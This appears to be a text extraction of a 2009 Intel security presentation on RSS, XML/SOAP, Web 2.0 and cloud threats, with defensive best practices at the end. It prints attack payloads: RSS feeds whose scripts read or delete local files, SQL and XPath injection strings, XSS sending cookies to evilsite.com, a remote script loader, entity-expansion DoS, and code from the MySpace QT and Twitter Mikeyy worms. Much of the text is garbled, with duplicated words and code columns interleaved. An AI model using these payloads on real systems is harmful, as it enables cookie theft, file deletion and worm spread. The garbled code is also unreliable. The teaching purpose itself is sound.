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The Sybil AttackThe Sybil Attack
A Sybil attack is one in which an attacker subverts the reputation 
system of a peer-to-peer network by creating a large number of 
pseudonymous entities using them to gain a disproportionatelypseudonymous entities, using them to gain a disproportionately 
large influence. 
A reputation system's vulnerability to a Sybil attack depends on:

H h l id titi b t dHow cheaply identities can be generated
The degree to which the reputation system accepts inputs from entities 
that do not have a chain of trust linking them to a trusted entity
Whether the reputation system treats all entities identicallyWhether the reputation system treats all entities identically

A similar attack is Whitewashing
Whitewashing is where a user leaves and re-joins a peer-to-peer 
network with new identities on a repeated basis to avoid detectionnetwork with new identities on a repeated basis to avoid detection. 
Common uses for whitewashing include rate limit bypass, money 
laundering, complex scams, & attribution avoidance. 

Source: The Sybil Attack by John R. Douceur http://www.cs.rice.edu/Conferences/IPTPS02/101.pdf
&
Free-Riding and Whitewashing in Peer-to-Peer Systems by Michal Feldman, Christos Papadimitriou, John Chuang, Ion Stoica
School of Information Management and Systems, UC Berkeley; 3rd Annual Workshop on Economics and Information Security



Data SyndicationData Syndication
Key Issues with Data Syndication

From CIA (Confidentiality Integrity Availability) to CredibilityFrom CIA (Confidentiality, Integrity, Availability) to Credibility, 
Freshness, Context, and Actionable 
Credibility

How does one identify and rely on the source?y y
Freshness

How do we know the data is current?
Context

How do we bring the context of the information along for the ride?
Actionable

Does the data have all of the relevant Meta-data to allow us to act on it?

Risks
Malicious Content  
RSS Attacks



RSS Feeds: Free Attack Delivery ServiceRSS Feeds: Free Attack Delivery Service

RSS F d id li k d t t t RSSRSS Feeds provide links and content to RSS 
enabled apps and aggregators
Malicious links and content can be delivered viaMalicious links and content can be delivered via 
the RSS method
Can be used to deliver XSS and XML InjectionCan be used to deliver XSS and XML Injection 
attacks
Can be used to deliver malicious code (BothCan be used to deliver malicious code (Both 
Script and encoded Binary)



Malicious RSS ExampleMalicious RSS Example
<rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

l "htt // l / /1 0/"xmlns="http://purl.org/rss/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel rdf:about="http://www.xml.com/cs/xml/query/q/19">
<title>XML.com</title>
<link>http://www xml com/</link><link>http://www.xml.com/</link>
<description>XML.com features a rich mix of information and services for the XML 

community.</description>
<language>en-us</language>
<items>
<rdf:Seq>
<rdf:li 

rdf:resource="http://acme.com/srch.aspx?term=>'><script>document.location.replace('stam.
htm');</script>"/>
<rdf:li rdf:resource="http://www.xml.com/pub/a/2002/12/04/som.html"/>rdf:li rdf:resource http://www.xml.com/pub/a/2002/12/04/som.html /

</rdf:Seq>
</items>

</channel>
</rdf:RDF>

Source: Steve Orrin



Reading Arbitrary Local Files using an RSS 
Feed
Descriptionp

The RSS specification allows arbitrary HTML within many of 
its fields. 
Many RSS aggregators save the contents of these tags inMany RSS aggregators save the contents of these tags in 
HTML files which are then rendered using Internet Explorer. 
Because these files are run locally, any JavaScript 
embedded in that HTML has access to the local file system. 
This attack takes advantage of this vulnerability to read an 
arbitrary file off the user’s hard disk. y
The attacker could then send the file contents to his own 
server.

Source CADS & Steve Orrin
http://www.c4ads.org



Reading Arbitrary Local Files using an RSS Feedg y g
<rss version="2.0">

<channel>
<title>Reads a file</title>
<link>http://www.apple.com/</link>

d i ti Ch l D i ti /d i ti l

if (!xmlhttp &amp;&amp; typeof 
XMLHttpRequest!=’undefined’) {
try {xmlhttp = new XMLHttpRequest();

<description>Channel Description</description> <language>en-
us</language>
<copyright>Mr Cool 2006</copyright><pubDate>Thu, 22 Jun 2006 
11:09:23 EDT</pubDate>
<ttl>10</ttl>
<image>

<title>Channel Image Title</title>

} catch (e) {xmlhttp=false;}
}
if (!xmlhttp &amp;&amp; window.createRequest) {

try {xmlhttp = window.createRequest();
} catch (e) {xmlhttp=false;}<link>http://www.google.com</link>

<url>http://www.site.com/logo.jpg</url>
<width>144</width>
<height>33</height>
<description>Description</description>

</image>
<item><title>Item Title</title>

} catch (e) {xmlhttp=false;}
}
xmlhttp.open("GET", "C:\\sampleFile.log",true);
xmlhttp.onreadystatechange=function() {
if (xmlhttp.readyState==4) {

<item><title>Item Title</title>
<link>http://www.mycoolsite.com/lonely.html</link>
<description>&lt;B&gt;Item Description&lt;/B&gt;

&lt;script&gt;var xmlhttp=false;
try {xmlhttp = new 

ActiveXObject("Msxml2 XMLHTTP");

alert(xmlhttp.responseText);}
}
xmlhttp.send(null);

&lt;/script&gt;
</description>ActiveXObject( Msxml2.XMLHTTP );

} catch (e) { try {xmlhttp = new 
ActiveXObject("Microsoft.XMLHTTP");

} catch (E) { xmlhttp = false;    }
}

/description
<pubDate>Thu, 22 Jun 2006 11:08:14 

EDT</pubDate>
<guid>http://mysite/Mrguid</guid>

</item></channel></rss>

Source CADS & Steve Orrin
http://www.c4ads.org



Deleting Arbitrary Local Files using an RSS Feedg y g

DescriptionDescription
This attack takes advantage of the same vulnerability 
as above to delete an arbitrary file from the user’s 
hard disk.
The main difference between this attack and prior 
attack is that this level of access requires ActiveXattack is that this level of access requires ActiveX, 
which only runs in Internet Explorer for Windows.

Source CADS & Steve OrrinSource CADS & Steve Orrin
http://www.c4ads.org



Deleting Arbitrary Local Files using an RSS Feed
<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0">

<channel>
<title>Feed title</title>

<item>
<title>Item title</title>

<link>http://www.mycoolsite.com/lonely.
html</link><description>&lt;script&gt;<link>http://www.apple.com/</link>

<description>channel 
description</description>

<language>en-us</language>
<copyright>Mr Cool 2006</copyright>

html</link><description>&lt;script&gt;
var fso = new 

ActiveXObject("Scripting.FileSystemObject"
);

varFileObject = 
fso.DeleteFile("C:\\importantFile.log");py g py g

<pubDate>Thu, 22 Jun 2006 11:09:23 
EDT</pubDate>

<ttl>10</ttl>
<image>

<title>Channel Image Title</title>

fso.DeleteFile( C:\\importantFile.log );
varFileObject.close()
&lt;/script&gt;

</description>
<pubDate>Thu, 22 Jun 2006 

11:08:14 EDT</pubDate>title Channel Image Title /title

<link>http://www.google.com</link>
<url>C:\homeiconus.gif</url>
<width>144</width>
<height>33</height>

11:08:14 EDT</pubDate>

<guid>http://mysite/Mrguid</guid>
</item>

</channel>
</ ><height>33</height>

<description>Description</description>
</image>

</rss>

Source CADS & Steve Orrin
http://www.c4ads.org



Application FederationApplication Federation 
(aka Web Services)

Key Issues with Application Federation
Drastic & Fundamental shift in Authentication & 
A th i ti d lAuthorization models
Externalization of application functionality and loss of 
internal controlsinternal controls
Real Business /Mission Critical Applications affected

Risks
XML/SOA Threats & Risks



XML Threat ClassificationXML Threat Classification
Payload / Content threats 

Back End TargetBack End Target 
Ex: SQL Injection, BAPI Protocol attack, Universal Tunnel 
Misuse

End User TargetEnd User Target 
Ex: XSS, Malicious Active Content

XML Misuse/Abuse 
Ex: XML Injection XPath Injection XQuery InjectionEx: XML Injection, XPath Injection, XQuery Injection, 
XXE 

XML Structure Manipulation
Ex: Entity Expansion, Schema Poisoning

Infrastructure Attacks 
Ex: Abuse of diagnostic servicesEx: Abuse of diagnostic services



Payload/Content Threat ExamplesPayload/Content Threat Examples



SOAP: SQL Injection ExampleQ j p

<soap:Envelope xmlns:soap=“ “>
B d<soap:Body>

<fn:PerformFunction xmlns:fn=“ “>
<fn:uid>’or 1=1 or uid=‘</fn:uid><fn:uid>’or 1=1 or uid= </fn:uid>
<fn:password>1234</fn:password>

</fn:PerformFunction></fn:PerformFunction>
</soap:Body>

</soap:Envelope>/soap:Envelope

S  St  O iSource: Steve Orrin



XSS in XML ExampleXSS in XML Example

<?xml version="1.0"?>
<soap:Envelope<soap:Envelope
xmlns:soap="http://www.w3.org/2001/12/soap-envelope"
soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">
<soap:Body xmlns:m="http://www stock com/stock"><soap:Body xmlns:m http://www.stock.com/stock >

<m:GetStockPrice>
<m:StockName><script>document.location.replace('http://www.evilsite.com/<script>document.location.replace('http://www.evilsite.com/
XSS.asp?input=(%20+document.cookie)');</script>XSS.asp?input=(%20+document.cookie)');</script>p p ( ) ) pp p ( ) ) p

</m:StockName>
</m:GetStockPrice>

</soap:Body>
</soap:Envelope>

S  St  O iSource: Steve Orrin



XML Misuse and Abuse Threat 
Examples



XPath Injection
XPath is a language used to refer to parts of an XML document. 

It can be used directly by an application to query an XML document, or as 
part of a larger operation s ch as appl ing an XSLT transformation to anpart of a larger operation such as applying an XSLT transformation to an 
XML document, or applying an XQuery to an XML document.

Why XPath Injection?
T diti l Q I j ti ' 1 1 '' 'Traditional Query Injection: ' or 1=1 or ''= ' 
XPath injection: abc' or name(//users/LoginID[1]) = 'LoginID' or 'a'='b 
XPath Blindfolded Injection

Attacker extracts information per a single query injection. 
The novelty is:

No prior knowledge of XPath query format required (unlike “traditional” SQL 
I j ti tt k )Injection attacks).
Whole XML document eventually extracted, regardless of XPath query format 
used by application

http://www packetstormsecurity org/papers/bypass/Blind XPath Injection 2004051http://www.packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_2004051
8.pdf

Source: Amit Klein
http://www.webappsec.org/whitepapers.shtml 



Structural Manipulation Threat 
Examples



Exponential Expansion of General Entities DoS Attackp p

Type: Denial of Service
Target: XML Parser

G l E i i b d i id f h h ll i i iGeneral Entities can be nested inside of each other, allowing entities 
to be built extensibly. This also allows for entities to be nested in an 
exponential fashion. When evaluated the amount of generated 
content can be enormous. This attack uses nested general entities g
to provide a large amount of content to the target server.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE element[

<!ENTITY a1 "1"><!ENTITY a1 1 >
<!ENTITY a2 "&a1;&a1;">
<!ENTITY a3 "&a2;&a2;">
...
<!ENTITY a99 "&a98;&a98;"><!ENTITY a99 &a98;&a98; >
<!ENTITY a100 "&a99;&a99;">
]><element>&a100;</element>

Source CADS & Steve Orrin
http://www.c4ads.org



Infrastructure Threat ExamplesInfrastructure Threat Examples



Repetitive Loading of Onsite Services Using Entitiesp g g
Type: Denial of Service
Target: XML Parsers
This attack abuses external entities to repetitively load expensive onsite services toThis attack abuses external entities to repetitively load expensive onsite services to 

effect a denial of service. This is extremely effective as it has the result of the 
server doing the majority of the work while the attacker just tells it which pages 
to load.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE base [
<!ENTITY test0 SYSTEM "http://192 168 2 183:8080/axis/ArrayTest jws?wsdl"><!ENTITY test0 SYSTEM "http://192.168.2.183:8080/axis/ArrayTest.jws?wsdl">
<!ENTITY test1 SYSTEM "http://192.168.2.183:8080/axis/ArrayTest.jws?wsdl">
<!ENTITY test2 SYSTEM "http://192.168.2.183:8080/axis/ArrayTest.jws?wsdl">
<!ENTITY test3 SYSTEM "http://192 168 2 183:8080/axis/ArrayTest jws?wsdl"><!ENTITY test3 SYSTEM "http://192.168.2.183:8080/axis/ArrayTest.jws?wsdl">
<base>&test0;&test1;&test2;&test3;</base>
…

Source CADS & Steve Orrin
http://www.c4ads.org



Web 2.0 Threats & RisksWeb 2.0 Threats & Risks

Client Side Browser Threats 
AJAX Vulnerabilities 

Social Networking Threats 
M l D l d XDS M SQL I j tiMalware Download – XDS, Mass SQL Injections, 
XSS Worms – Sammy, QT/MySpace, Mikeyy

Cloud and Mashup Threats and Challengesp g
Mashup Insecurity
Cloud Security Challenges



AJAX Security Concerns: y
Information Leakage

The JavaScript in the Ajax engine traps the user commands and makes 
function calls in clear text to the server. 

Repudiation of Requests and Cross-Site Scripting
Browser requests and Ajax engine requests look identical. 
Server is incapable of discerning a request made by JavaScript and a 
request made in response to a user action. 
This expanded JavaScript functionality increases the damage of a Cross-Site 
Scripting (XSS) attack.

AJAX B id iAJAX Bridging
An attacker can send malicious requests through the Ajax bridge as well as 
take advantage of elevated privileges often given to the Bridge‘s original 
targettarget.

AJAX and Intellectual Property
When applications are deployed in Web 2.0 environments using 
technologies like AJAX the source and application functionality aretechnologies like AJAX, the source and application functionality are 
available to everyone using it. Source: Billy Hoffman Lead Security Researcher 

for SPI Dynamics/HP (www.spidynamics.com)



XDS – Cross Domain ScriptingXDS Cross Domain Scripting

Advanced Cross Site Scripting techniqueAdvanced Cross Site Scripting technique 
Allows attacker to Download the Malicious Script from 
external Domains
Bypasses most local protectionsBypasses most local protections
Bypasses local size/content restrictions

Often leverages Web2.0/RIA environments
Used on Wiki sites, Bulletin Boards, Social Networking sites
Often hides in Social Networking Site Badges/Banners and 
can leverage ‘features’ of QT, AJAX, Flex, Flash, etc.g Q , , , ,

Potential for serious harm from more powerful 
Malware execution

S  St  O i  I t l  CSource: Steve Orrin, Intel, Corp.



XDS - ExampleXDS Example

Image Source vulnerability with Download ofImage Source vulnerability with Download of 
malicious Script

<IMG src=logo.gif """><SCRIPT>function Threat(){ var head= 
document.getElementsByTagName('head')[0]; var script= 
document.createElement('script');  script.src= ( p ); p
'http://www.evilsite.com/data/threat.js'; 
head.appendChild(script); }; Threat();</SCRIPT>"&gt;

S  St  O i  I t l  CSource: Steve Orrin, Intel, Corp.



Social Networking & XSS Wormsg
Using a website to host the malware code, XSS worms 
and viruses take control over a web browser and 
propagate by forcing it to copy the malware to otherpropagate by forcing it to copy the malware to other 
locations on the  Web to infect others. 
For example, a blog comment laced with malware could 
snare visitors, commanding their browsers to postsnare visitors, commanding their browsers to post 
additional infectious blog comments. 
Examples: Samy, QT Worm,Mikeyy

Source Jeremiah Grossman CTO WhiteHat Security 
http://www.whitehatsec.comp //
http://www.whitehatsec.com/downloads/WHXSSThreats.pdf



MySpace QT Wormy p
MySpace allows users to embed movies and other multimedia into their user 
profiles. 
Apple’s Quicktime movies have a feature known as HREF tracks, which allow 

t b d URL i t i t ti iusers to embed a URL into an interactive movie. 
The attacker inserted malicious JavaScript into this Quicktime feature so that 
when the movie is played the evil code is executed.

javascript:j p

void((
function() {

//create a new SCRIPT tag
var e=window.document.createElement('script');
var ll=new Array();var ll new Array();
ll[0]='http://www.daviddraftsystem.com/images/';
ll[1]='http://www.tm-group.co.uk/images/';

//Randomly select a host that is serving the full code of the malware
var lll=ll[Math.floor(2*(Math.random()%1))];
//set the SRC attribute to the remote site//set the SRC attribute to the remote site
e.setAttribute('src',lll+'js.js');
//append the SCRIPT tag to the current document. The current document would be whatever webpage   
//contains the embedded movie, in this case, a MySpace profile page. This causes the full code of the malware to 

execute.
window.document.body.appendChild(e);

})})
Source code from BurntPickle http://www.myspace.com/burntpickle)
Comments and formatting by SPI Dynamics/HP (http://www.spidynamics.com)



Twitter “Mikeyy” Wormyy
Mikeyy spread through a combination of XSS, XDS and CSRF
Twitter’s profile screen allows a user to insert a URL into their profile
Mikeyy inserted malicious JavaScript into the URL field on his own profile that 
referenced an external script that was downloaded from the attack server
When a visitor loaded Mikeyy’s profile the script executed and the worm 

t d b idi th t ’ l d i i d ti it lf t th tpropagated by riding that user’s logged in session and posting itself to that 
user’s profile

Mikeyy’s original URL submission
http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a 

Attack code
var update = urlencode("Hey everyone, join www.StalkDaily.com. It’s a site like Twitter but with pictures, videos, and 
so much more! :)");
var xss = urlencode(’http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ‘);

var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", 
"authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST", 
"authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");



Mashups InsecurityMashups Insecurity
Key Issues with Mashups

Mashups can access data/content that the browser has accessMashups can access data/content that the browser has access 
to.
Mashups have the combined rights/privileges of the services and 
sites that are mashed together. g
Many Mashups call home to a server (Google Maps, etc.)
Maliciously designed Mashups and Widgets can compromise 
both your browser, the sites and content you access as well as 
target browser enabled applications on your system.

Example:
Mashup for providing Locations to restaurants

Does it have hidden features? Could it be attempting 
to leverage browser contexts as well as redirectors 
and other malicious scripts?



Cloud Computingp g
Means different things to 
different usesdifferent uses
Web 2.0 based Apps & APIs

Ex: Flikr, Facebook, Twitter, 
Gears, Mashups, etc.

Cloud/Service applications
Ex: Google AppsEx: Google Apps, 
Salesforce.com, Zoho

Virtualization based compute 
resources in the cloudresources in the cloud

Ex: Amazon EC2,Amazon S3, 
AWS,  Google App Engine

Future of computing: Forecast calls for partly cloudy
Ian Rae



Cloud Computing Security Challengesp g y g



Cloud Computing Security Challengesp g y g
Privileged user access 
Regulatory complianceRegulatory compliance
Data location 
Data segregation 
Recoveryy
Investigative support
Long term viabilityLong-term viability 

Gartner: Seven cloud-computing security risks
Data integrity, recovery, privacy and regulatory compliance are key issues to consider
By Jon Brodkin , Network World , 07/02/2008 



All Your Clouds Are Belong To Us...g
MeatCloud

Using the Mechanical Turk to be a Maniacal JerkUsing the Mechanical Turk to be a Maniacal Jerk
CloudFlux

Using FastFlux Botnets in the Cloudg
LeapFrog

Abusing VPN tunnels across Clouds
Cloud-based vMotion Poison Potion
Economic Denial Of Sustainability (EDoS)

Chris Hoff | The Frogs Who Desired a King |  Source Boston 2009



Work has begun!Work has begun!

Could Security AllianceCould Security Alliance
http://www.cloudsecurityalliance.org
Has defined 15 domains of effort to secureHas defined 15 domains of effort to secure 
the Cloud

Whitepaper: Guidance for Critical Areas of FocusWhitepaper: Guidance for Critical Areas of Focus 
in Cloud Computing 
http://www.cloudsecurityalliance.org/guidance/



Guidance and Best PracticesGuidance and Best Practices



Best PracticesBest Practices
Asset Tracking – Find your websites, web services, & RIA 
applications; assign a responsible party, and rate their importance to 
th b ithe business. 
Measure Security – Perform rigorous and on-going vulnerability 
assessments. 
Development Frameworks & Training – Provide programmers 
with software development tools & training enabling them to write 
code rapidly that also happens to be secure. 

Security in the SDLC



Best Practices, Con’tBest Practices, Con t
Manage the Exterior – Identify external resources that 
are leveraged by your applications as well as external g y y pp
data sources. Develop Security and Continuity plans 
addressing this reliance and leverage isolation where 
possiblepossible.
Cloud Awareness – Cloud and Web 2.0 aware security 
products and services. Deploy capabilities that not only 
leverage the cloud but secure it as well. 
Defense-in-Depth – Throw up as many roadblocks to 
attackers as possibleattackers as possible.



Other ResourcesOther Resources

WASC (Web Application Security Consortium):( pp y )
http://www.webappsec.org

CGI-Security’s Archive of App-Sec Papers:
htt // i it /lib/http://www.cgisecurity.com/lib/

NIST Special Publication 800-95: Guide to Secure Web 
Services.

http://csrc.nist.gov/publications/nistpubs/800-95/SP800-
95.pdf
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Steve Orrin

Director of Security ArchitectureDirector of Security Architecture

SSG-SPI

Intel Corporation

steve.orrin@intel.com

www.c4ads.org

Thank you!Thank you!



Notices

Intel and the Intel logo are trademarks or registered trademarks of 
Intel Corporation or its subsidiaries in the United States and other countries.

*Other names and brands may be claimed as the property of others.

** Performance tests and ratings are measured using specific computer systems and/or components 
and reflect the approximate performance of Intel products as measured by those tests. Any 

difference in system hardware or software design or configuration may affect actual 
performance. All dates and product descriptions provided are subject to change without notice.  

This slide may contain certain forward-looking statements that are subject to known and 
unknown risks and uncertainties that could cause actual results to differ materially from those 

expressed or implied by such statementsexpressed or implied by such statements
***The threats and attack examples provided in this presentation are intended as examples only. 

They are not functional and cannot be used to create security attacks. They are not be 
replicated and/or modified for use in any illegal or malicious activity. 

****Any software source code reprinted in this document is furnished under a software license and 
may only be used or copied in accordance with the terms of that license.

Copyright © 2009  Intel Corporation. All Rights Reserved.



Q ti ?Questions?
Click on the questions tab on your screen, type in your question, name 

and e-mail address; then hit submit.


